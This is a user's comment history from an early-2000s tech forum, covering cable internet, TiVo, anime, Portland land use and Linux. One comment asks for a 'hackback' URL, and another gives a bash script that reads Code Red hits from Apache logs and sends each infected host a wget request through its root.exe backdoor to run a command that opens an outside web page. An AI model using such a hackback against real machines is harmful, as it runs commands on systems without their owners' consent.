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  1. In favor of TiVo on Which DVR - Tivo or ReplayTV? · · Score: 1

    TiVo is inexpensive, extremely hackable, TiVo has been forthcoming with information on how to do this, and TiVo is Linux based.

    Supposedly there's free TV listings avalible for tivo someplace, can anybody fill in on this?

  2. Re:Any internet technology can be oversubscribed on Cable Modem Primetime Slowdown - Myth or Reality? · · Score: 1

    Almost right, but...
    Your first hop is always your headend. From the headend it switches off the cable system onto a larger pipe than cable. The prime-time slowdown is no different in nature than DSL.

    DSL, from my experiance, suffers much larger slowdowns due to chronic oversubscription and bandwidth caps to the customer. Unlike DSL, the cable company can slap a headend in pretty much anywhere they can get permission to slap in a box the size of a shrubbery, and can put more than one node in the same physical connection if they've got fat pipes (larger than cable) going to the outlying headends.

    The first hop is always just one customer.

  3. Re:Last week on Cowboy Bebop Back on Toonami · · Score: 1

    I swear I saw Six on CN on my Tivo and 7 twice...

    The fact that Bebop is on TV in the States is good, and watching it in the living room satisifies the "I'm watching Bebop on TV" factor for me well enough, the logo really detracts from the experiance and makes me more likely to remember to skip the ads...

  4. Last week on Cowboy Bebop Back on Toonami · · Score: 1
    Is it just my TiVo or did Cartoon Network fsck up and run Session #7 "Heavy Metal Queen" back to back despite the listing showing the second episode was going to be Session #8 "Waltz for Venus?"

    I'm on my first time through the series and need my Bebop fix!

    Side note: Cartoon Network needs to stop following the recent marketroid trend of showing some random corporate logo in the corner of the screen and shut off the bright orage Adult Swim logo so the eye is naturally drawn to the show and not that damn logo...

  5. Re:Lag on Gall Bladder Removed In France By Doctor In New York · · Score: 1

    Now, we need to get the surgeon this shirt to commemorate the moment...

  6. Hackback? on New (More) Annoying Microsoft Worm Hits Net · · Score: 2, Interesting

    If anybody knows what URL executes commands on the compromised server or a relatively open hackback that can be scripted looking at apache logs, it would be greatly appreciated.

    Before someone gets all uppity about the morality of hackbacks, we're talking harmless start default browser and get pointed at a page telling you how to fix it. This was extraordinarllily effective at getting people patched when code red went about: 5000 hits on day 1 to the patch page, 72 on day 2, and it stayed relatively static after that.

  7. Call back in on Cable Modem Amplifiers? · · Score: 1
    Hmm, this is something that they could have done for you. If your upstream transmission power is a bit low, they should be sending a technician out there to check the lines in your house and install an amp himself.

    Call them back, let them know that your power might be too low.

    If you're on High Speed Access or RoadRunner, good luck, as they try to never send techs out.

  8. Re:AnthroCart on Building a DIY Home Office? · · Score: 1
    The staff I have spoken to are so friendly it makes you wonder what's in the coffee.

    Portland water. They're from Tigard, OR. 'Nuff said. Also in the same neighborhood are three large offices, one is home to Dell's award winning tech support, @Home's award winning tech support and Hewlett-Packpaq's tech support houses.

    Anthro is great, though, my school had a bunch of carts donated to them by Anthro. Extremely stable, and really indestructable. You'd be amazed how many times the same (empty) cart could roll across the same slanted loading dock and off the end and still look really good.

  9. Re:Adelphia will be migrating Adelphia@Home users. on Cox And Comcast To Dump @Home · · Score: 1

    Adelphia PowerLink is (don't be surprised now...) @Home!

    I answer calls from Adelphia markets as Adelphia@Home, and they ask if they reached PowerLink support. They have, just Adelphia is calling it PowerLink as sort of a marketroid hype thing.

  10. From someone who works for @Home on Cox And Comcast To Dump @Home · · Score: 1
    1) Tier 1 is your local cable company, NOT Excite@Home.

    2) Are you calling angry that they're hanging up on you?

    3) We have no office in Toronto, though Comcast Tier 1 has one in Sault Sainte Marie, ONT. Nice folks. (Rogers Cable might have an office in Toronto, though...)

  11. Binaries newsgroups are dead on SBC/Pacbell To Filter 90% Of alt.binaries Groups · · Score: 0, Troll

    most of *.binaries.* were obsoleted the moment it became easy and possible to set up a webserver. Hell, even Windows comes with Personal Web Server now.

    So why is it we're mourning the loss of bandwidth wasting uselessness and the all you can eat spam buffet here?

  12. @Home won't die on Excite@Home May Have To Call It Quits · · Score: 1

    @Home won't die. More likely, AT&T will suck it up. They're already a majority interest and own most of the infrastructure.

  13. IP on Palm To Purchase Be's IP · · Score: 1

    1) Be only had *one* IP?
    2) They're *really* overpaying for that...even Verizon charges less. 8:o)

  14. Notification script on Code Red: the Aftermath · · Score: 1

    Another idea would be create a script...

    baloo@ursine:~$ cat redresponse.sh
    #!/bin/bash

    CR_FILE="/home/baloo/CodeRed.hit"

    touch "$CR_FILE"

    ( cat "$CR_FILE"
    grep default.ida /var/log/apache/access.log |\
    cut -d " " -f 1 |\
    sort | uniq
    ) | sort | uniq -u |\
    while read IP
    do
    echo $IP >> "$CR_FILE"
    wget --quiet -t 1 "http://$IP/scripts/root.exe?/c+start+http://ursin e.dyndns.org/~baloo/patch.html" &
    done

  15. Slashdotted... on How to Burn a Magnesium NeXT Cube · · Score: 1

    Wow, that's gotta be some sort of world record slashdot effect...No comments and it's down...

  16. Right... on Lawsuit Alleges That Palms Damage Motherboards · · Score: 1

    And what makes you think you get free replacement just because you used your hotsync cable to make a serial/USB to 120v adapter? 8:o)

  17. Re:land use restrictions == unafordable housing on What Makes a City Appealing to High-Tech Workers? · · Score: 1
    Uuh, no. Portland has very affordable housing, it's just crammed together. Part of the point is to defeat people from coming to Portland to spread out. We like having landscape, ourselves, so in the 1980s, we created an urban growth boundary. Right now, the urban growth boundary isn't scheduled to be changed again until 2040. The idea here is to allow growth, but keep the city livable and eliminate the Californian factor.

    Seems to be working, housing prices have remained stable while 2000 was the first year to see a population decline in Oregon. Congrats to Metro Regional Government on controlling growth.

  18. AT&T and Excite@Home on Broadband Crackdown · · Score: 1
    OK, from the inside of Excite@home, port 80 is not blocked nor is there plans to. (But I've heard rumors of a crackdown of people calling in about problems with the Code Red worm...serves them right though)

    Just tried an AT&T customer I know has a webserver on it...it isn't blocked.

    It's possible this is a MediaOne thing and not all of AT&T. I haven't heard anything about any of the local cable companies blocking any ports, and the phones have been nearly silent at my level of support all week (we were all expecting a long, painful week after seeing the Slashdot headline on Saturday...)

  19. Three words... on What Makes a City Appealing to High-Tech Workers? · · Score: 1
    ...Urban Growth Boundary.

    Designed specifically to keep a city geographically small to keep public transit effective, reduce the need for future roads (which actually encourages more traffic instead of handling existing load), and prevent urban sprawl. It also has the added side benefit of keeping people from moving here, because you can't go move to the middle of nowhere and drive in without buying a farm in the mountains or commuting from Vancouver/southwest Washington. (Oregon's full, we don't want you.)

    Chicago also has an urban growth boundary, but Illinois isn't exactly strict about enforcing it, however.

  20. No money involved on Do We Spend More On Linux Or Windows? · · Score: 1
    The money I spend is entirely hardware based.

    The distro part's easy:

    # /root/upgrade
    apt-get update
    apt-get -y -u dist-upgrade &&
    apt-get clean
    exit 0

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  21. Re:New names for Intel... on Intel's Tualatin P3 · · Score: 1
    Actually, the names for recent Intel chips are from locations within a short trip on Tri-Met or a short drive from thier Hillsboro, OR facilities, where they do pretty close to everything.

    Tualitin is the name of the plains Hillsboro sits on, as well as a city south of Portland.

    Williamette is the name of the river running through Portland, as well as the region overall (Williamette Valley).

    More likely, Intel will name new stuff things like Boring, Portland, Forest Grove, Tigard, Beaverton, Columbia, Hood, or other locale names...

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  22. Why offline? on Debian GNU/Linux Used in Electronic Voting Trials · · Score: 1
    In Oregon, we have had low voter turnout in recent years simply because we've had this odd phenomenon of having major storms too dangerous to go out for anything not critical to survival in. We had a lot of really bad laws because the far right wing seems to to put voting over thier lives a bit and take advantage of low turnout. So, to even the playing field a bit, Oregon did one thing that no state had thought to do before: We abolished the voting booth. I can't remember if it's just a law or unconstitutional in Oregon, but the polling place is a thing of the past. All elections are by mail. You have no option to walk to a polling place.

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  23. Technical Achievement on Posthumous Webbys · · Score: 1
    Could someone please fill me in on how Windows Update managed to beat out Apt for Technical Achievement, when Apt does essentially the same thing but with all your software and doesn't require a reboot?

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  24. Distinctive ring modems on Distinctive Ring Aware Modems And GNU/Linux? · · Score: 1
    OK, now I have to wonder if there's a list of modems with this distinctive ring feature someplace?

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  25. Re:cable experiences on Can Cable Really Be Slower Than 56K? · · Score: 1
    OK, the upload cap, price hike and lack of node split are all AT&T's problem, not @Home in this case. Please bitch at your closest AT&T rep.

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